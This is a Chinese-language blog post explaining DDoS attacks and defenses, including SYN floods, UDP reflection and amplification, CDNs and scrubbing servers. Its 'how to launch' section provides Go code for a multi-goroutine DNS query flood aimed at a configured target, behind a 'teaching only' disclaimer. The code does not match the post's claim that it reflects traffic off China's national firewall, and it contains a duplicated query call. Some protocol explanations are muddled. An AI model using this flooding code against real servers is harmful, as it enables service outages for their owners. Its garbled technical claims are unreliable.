banner
QiYiming‘s Blog

QiYiming‘s Blog

a simple blog by QiYiming#6898

科普:什麼是DDOS?DDOS分為什麼類型?我要如何發起DDOS?又要如何預防?

什麼是 DDOS 攻擊#

DDOS,分散式拒絕服務攻擊,是互聯網上最常見的網絡攻擊手段,他的目的是通過大量的請求以耗盡伺服器資源以導致正常請求無法響應。當黑客是使用兩台或以上的計算機(俗稱肉雞)向伺服器發送拒絕服務攻擊時,則被稱為分散式拒絕攻擊。

DDOS 分為什麼類型#

為了理解 DDOS 攻擊的原理,我們需要了解 OSI 網絡七層模型,該模型將通信系統中的數據流劃分為七個層,從分散式應用程序數據的最高層表示到跨通信介質傳輸數據的物理實現。每個中間層為其上一層提供功能,其自身功能則由其下一層提供。功能的類別通過標準的通信協議在軟體中實現。

OSI 七層模型的七層有#

  1. 物理層
    通俗的講,把數據鏈路層提供的比特流,轉換(調製)成適用於不同介質的,穩定的信號並發送。
  2. 數據鏈路層
    將傳來的比特合成字節然後轉換成幀,再加上幀頭幀尾
  3. 網絡層
    進行邏輯地址尋址,實現不同網絡之間的路徑選擇,將網絡表頭加至數據包,表頭包含網絡數據,例如
  4. 傳輸層
    把傳輸表頭加至資料以形成分組。傳輸表頭包含了所使用的協議等發送信息。例如:傳輸控制協議(TCP)等。
  5. 會話層
    會話層需要控制維護兩台計算機之間的通信連結
  6. 表示層
    表示層即為將數據轉換為接收者兼容的並且適合傳輸的格式
  7. 應用層
    應用層即為專門為應用而設計的接口,以設置應用間的通信,例如,HTTP,SSH,POP3,FTP

而分散式拒絕攻擊一般存在在第四層和第七層,即為傳輸層和應用層。
而傳輸層的攻擊方式也與應用層不一樣,傳輸層有 tcp 協議和 udp 協議
我們都知道,TCP 要建立起連接需要三次握手,如圖

image

為了簡單的解釋,我們將用戶比喻成 bob,服務端比喻成 alice,然後 bob 在 114 房間,alice 在 514 房間。
第一次握手時,向 alice 發送 "你好 Alice,我是 bob,我在 114 房。"(發送 SYN 包)
同時,alice 收到 bob 的請求,然後第二次握手。
第二次握手時,alice 向 bob 發送 "你好 bob!我在 514 房。"(發送 SYN+ACK 包)
然後第三次握手,bob 向 alice 發送 "好的,那我們開始傳輸數據吧。"(發送 ACK 包)
然後 bob 和 alice 開始傳輸數據

但是現實網絡環境中,alice 回復 bob 後,bob 可能因為種種原因沒有收到,就無法回復 alice,當 alice 在一定時間沒有收到收到 bob 的回復時,就會重新向 bob 發送 syn+ack 包,而攻擊者就利用了這個特點,他可以使用很多的計算機,一起多次向伺服器發送 "你好 Alice,我是 xxx,我在 xxx 房。",然後 alice 就會耗費大量資源回復這些 syn 包,然後就因為資源不足而宕機。
這就是 SYN 攻擊。

而什麼是 UDP 攻擊呢?
udp 也分很多種攻擊,例如較為常用的反射攻擊。
依舊拿 alice 和 bob 舉例,但是新增一人,beast,在 191 房。
bob 向 alice 發送 "你好 Alice,我是 beast,我在 191 房。"(NTP Request)
但是 alice 並不會向 bob 回復,而是 "你好 beast,我在 514 房。"(NTP Response)
此時 beast 就會收到 alice 的數據包,但是他對這個數據包沒有頭緒,所以做不了什麼。
udp 還有 udp 放大攻擊。
比如說,你百度搜索 "DDOS",他就會給你返回好幾十 KB 的數據,而這個 KB 除以你搜索的詞的大小就是放大倍數。
bob 向 alice 發送 "你好 Alice,我是 beast,我在 191 房,DDOS 是什麼意思。"(NTP Request)
但是 alice 並不會向 bob 回復,而是 "你好 beast,DDOS 是指分散式拒絕服務攻擊..."(NTP Response)
此時 beast 將會收到一個較大的數據包,當 bob 使用多個計算機作為反射伺服器,並且多次發送請求,那樣的話 beast 就會因為龐大的數據量而宕機。

如何發起 DDoS?#

警告!任何 DDoS 都是違法行為,如果你使用本博客的代碼去攻擊任何伺服器,本博客均不負任何責任,示例代碼僅供教學!
這裡是一個利用中國國家防火牆作為反射源的示例代碼:

package main
//引入必要依賴
import (
	"fmt"
	"github.com/miekg/dns"
	"github.com/spf13/viper"
	"net"
)

const numGoroutines = 1000 // 設置使用的goroutine數量

func main() {
	// 讀取配置文件
	viper.SetConfigName("config") // 配置文件名為config.yaml
	viper.AddConfigPath(".")      // 在當前目錄查找配置文件
	err := viper.ReadInConfig()   // 讀取配置文件
	if err != nil {
		panic(err)
	}

	// 創建一個UDP連接
	conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", viper.GetString("server.ip"), viper.GetInt("server.port")))
	if err != nil {
		panic(err)
	}
	defer conn.Close()

	// 創建一個DNS查詢報文
	msg := &dns.Msg{}
	msg.SetQuestion("www.google.com.", dns.TypeA)
	msg.SetQuestion("www.google.com.", dns.TypeAAAA)

	// 創建多個goroutine
	for i := 0; i < numGoroutines; i++ {
		go func() {
			for {
				// 向指定IP和端口發送DNS請求
				packed, err := msg.Pack()
				if err != nil {
					panic(err)
				}
				if _, err := conn.Write(packed); err != nil {
					panic(err)
				}
			}
		}()
	}
}

以上是一個簡單的利用中國國家防火牆作為反射源的 DNS 攻擊實例,使用的編程語言為 Go

如何預防 DDoS?#

DDoS 沒有預防的方法,目前主流的就兩種

使用 CDN#

使用該方案需要隱藏你的源伺服器 IP,該方案的好處是,分散式,原理比較好理解。攻擊者不管怎麼攻擊都只能攻擊到你的 CDN,沒辦法到你的伺服器。

購買高防伺服器#

使用該方案不需要隱藏你的源伺服器 IP,該方案的好處是:防禦可以做到非常大,並且不需要維護 CDN,缺點很明顯,就是貴,貴,賊他媽的貴,為什麼貴呢?例如一台 60Gbps 防禦的伺服器,則他的上游帶寬則必須大於 60Gbps,不然還沒等清洗你的伺服器就他媽的封堵了,高防伺服器是分清洗伺服器和你的伺服器的,他們兩個通過內網連接,至於原理也很簡單。
我們將清洗伺服器稱作 rick,你的伺服器稱作 alice,攻擊者稱作 bob
當 bob 向你的伺服器發送一個 SYN 請求時,清洗伺服器會先接收到這個請求,並且回復一個 SYN+ACK,用於檢測用戶是否是 SYN 攻擊者,如果用戶回復了 ACK 包,則清洗伺服器和你的伺服器建立起 TCP 連接,並且開始轉發 bob 的數據。
當 bob 是攻擊者時,他會不斷地向清洗伺服器發送 SYN 包,同時清洗伺服器開始恢復 SYN+ACK,但是 bob 不是合法用戶,只是一位 syn 攻擊者,不會回復 ACK 包,則清洗伺服器不會去轉發攻擊者的連接到你的伺服器。

總結#

DDoS 雖然違法,但是他依舊存在,不管你的伺服器多好,配置有多麼高明,防禦做的有多牛逼,總會有更厲害的人去惡意或非惡意去攻擊你的伺服器。劉慈欣在《三體》中所說:“你再快,也有比你快的,你再慢,也有比你慢的” 這個文章只是基於我以前被攻擊的經歷而發布的,如果內容有遺漏,歡迎各位大佬在評論區討論,如果內容有錯誤,請指出。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。